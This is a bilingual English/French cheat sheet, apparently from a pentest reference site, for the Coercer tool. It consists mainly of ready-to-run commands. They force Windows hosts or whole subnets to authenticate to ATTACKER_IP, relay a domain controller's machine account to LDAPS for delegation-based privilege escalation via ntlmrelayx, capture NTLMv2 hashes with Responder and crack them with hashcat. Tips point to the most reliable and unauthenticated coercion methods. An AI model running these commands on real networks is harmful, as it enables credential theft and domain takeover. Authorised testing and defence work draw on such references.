Coercer
Force automatiquement des hôtes Windows à s'authentifier vers une machine contrôlée par l'attaquant via 12+ méthodes RPC. Utilisé avec ntlmrelayx ou Responder pour capturer des empreintes. Automatically coerces Windows hosts to authenticate to an attacker-controlled machine via 12+ RPC methods. Used with ntlmrelayx or Responder to capture hashes.
↗ https://github.com/p0dalirius/CoercerOverview
Coercer automates Windows authentication coercion — forcing a target machine to authenticate to an attacker-controlled host. It tries 12+ MS-RPC methods (MS-EFSR, MS-FSRVP, MS-DFSNM, etc.) that trigger NTLM authentication. Captured credentials are relayed or cracked offline.
Basic Usage
Coerce authentication from a target (with valid domain credentials)
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local
Coerce from subnet
coercer coerce -l ATTACKER_IP -t 10.10.10.0/24 -u user -p 'password' -d domain.local
Coerce from file of targets
coercer coerce -l ATTACKER_IP -t targets.txt -u user -p 'password' -d domain.local
Scan only (don’t coerce — check what methods are available)
coercer scan -t TARGET_IP -u user -p 'password' -d domain.local
With NTLM hash
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -H :NTLMhash -d domain.local
Combined Attack: Coercer + ntlmrelayx
Terminal 1: Set up ntlmrelayx to relay to domain controller LDAP (relay DC machine account → create RBCD entry or dump info)
sudo ntlmrelayx.py -t ldaps://dc01.domain.local --delegate-access \
--no-smb-server --no-wcf-server --no-raw-server
Terminal 2: Coerce the target machine
coercer coerce -l ATTACKER_IP -t fileserver.domain.local \
-u user -p 'password' -d domain.local
Combined Attack: Coercer + Responder
Terminal 1: Responder (capture hashes)
sudo responder -I eth0 -v
Terminal 2: Coerce authentication
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local
Then crack the captured NTLMv2:
hashcat -m 5600 hashes.txt rockyou.txt
Selecting Methods
List available coercion methods
coercer list
Use a specific protocol/method
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local \
--filter-protocol-name MS-EFSR
Exclude specific methods
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local \
--filter-protocol-name "!MS-RPRN"
Coercion Methods Supported
| Protocol | Method | Notes |
|---|---|---|
| MS-EFSR | EfsRpcOpenFileRaw | PetitPotam — works unauth in some configs |
| MS-RPRN | RpcRemoteFindFirstPrinterChangeNotification | PrinterBug / SpoolSample |
| MS-DFSNM | NetrDfsAddStdRoot | DFSCoerce |
| MS-FSRVP | IsPathShadowCopied | ShadowCoerce |
| MS-EVEN6 | EvRpcOpenPublisherSubscription | |
| MS-ICPR | CertServerRequest |
Tips
MS-RPRN(PrinterBug) is the most reliable — Spooler is usually runningMS-EFSR(PetitPotam) can work unauthenticated against older systems — check first- Relay machine account credentials to LDAP with
--delegate-accessfor privilege escalation - Coercion works best against machines with machine accounts that can be delegated
Help / Man page
coercer [mode] [options]
Modes:
scan Scan targets (no coercion, just detect)
coerce Coerce authentication
list List available methods
Options:
-t target Target host, CIDR, or file
-l listener Attacker's listener IP
-u user Username
-p password Password
-H hash NTLM hash
-d domain Domain name
--dc-ip IP Domain controller IP
--filter-protocol-name Protocol to use/exclude
--filter-method-name Method to use/exclude
--always-continue Don't stop on success
-v Verbose
Vue d’ensemble
Coercer automatise la coercition d’authentification Windows : forcer une machine cible à s’authentifier vers un hôte contrôlé par l’attaquant. Il essaie 12+ méthodes MS-RPC (MS-EFSR, MS-FSRVP, MS-DFSNM, etc.) qui déclenchent une authentification NTLM. Les identifiants capturés sont relayés ou cassés hors ligne.
Utilisation de base
# Forcer l'authentification d'une cible (avec des identifiants de domaine valides)
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local
# Forcer depuis un sous-réseau
coercer coerce -l ATTACKER_IP -t 10.10.10.0/24 -u user -p 'password' -d domain.local
# Forcer depuis un fichier de cibles
coercer coerce -l ATTACKER_IP -t targets.txt -u user -p 'password' -d domain.local
# Scan uniquement (ne pas forcer : vérifier quelles méthodes sont disponibles)
coercer scan -t TARGET_IP -u user -p 'password' -d domain.local
# Avec une empreinte NTLM
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -H :NTLMhash -d domain.local
Attaque combinée : Coercer + ntlmrelayx
# Terminal 1 : mettre en place ntlmrelayx pour relayer vers le LDAP du contrôleur de domaine
# (relayer le compte machine du DC → créer une entrée RBCD ou extraire des infos)
sudo ntlmrelayx.py -t ldaps://dc01.domain.local --delegate-access \
--no-smb-server --no-wcf-server --no-raw-server
# Terminal 2 : forcer la machine cible
coercer coerce -l ATTACKER_IP -t fileserver.domain.local \
-u user -p 'password' -d domain.local
Attaque combinée : Coercer + Responder
# Terminal 1 : Responder (capturer les empreintes)
sudo responder -I eth0 -v
# Terminal 2 : forcer l'authentification
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local
# Puis cracker le NTLMv2 capturé :
hashcat -m 5600 hashes.txt rockyou.txt
Sélectionner des méthodes
# Lister les méthodes de coercition disponibles
coercer list
# Utiliser un protocole/une méthode précis
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local \
--filter-protocol-name MS-EFSR
# Exclure des méthodes précises
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local \
--filter-protocol-name "!MS-RPRN"
Méthodes de coercition supportées
| Protocole | Méthode | Notes |
|---|---|---|
| MS-EFSR | EfsRpcOpenFileRaw | PetitPotam, fonctionne sans auth dans certaines configs |
| MS-RPRN | RpcRemoteFindFirstPrinterChangeNotification | PrinterBug / SpoolSample |
| MS-DFSNM | NetrDfsAddStdRoot | DFSCoerce |
| MS-FSRVP | IsPathShadowCopied | ShadowCoerce |
| MS-EVEN6 | EvRpcOpenPublisherSubscription | |
| MS-ICPR | CertServerRequest |
Conseils
MS-RPRN(PrinterBug) est la plus fiable : le Spooler est généralement en cours d’exécutionMS-EFSR(PetitPotam) peut fonctionner sans authentification contre des systèmes anciens : vérifiez en premier- Relayez les identifiants du compte machine vers LDAP avec
--delegate-accesspour l’élévation de privilèges - La coercition fonctionne le mieux contre des machines dont les comptes machine peuvent être délégués
Aide / Page de manuel
coercer [mode] [options]
Modes:
scan Scan targets (no coercion, just detect)
coerce Coerce authentication
list List available methods
Options:
-t target Target host, CIDR, or file
-l listener Attacker's listener IP
-u user Username
-p password Password
-H hash NTLM hash
-d domain Domain name
--dc-ip IP Domain controller IP
--filter-protocol-name Protocol to use/exclude
--filter-method-name Method to use/exclude
--always-continue Don't stop on success
-v Verbose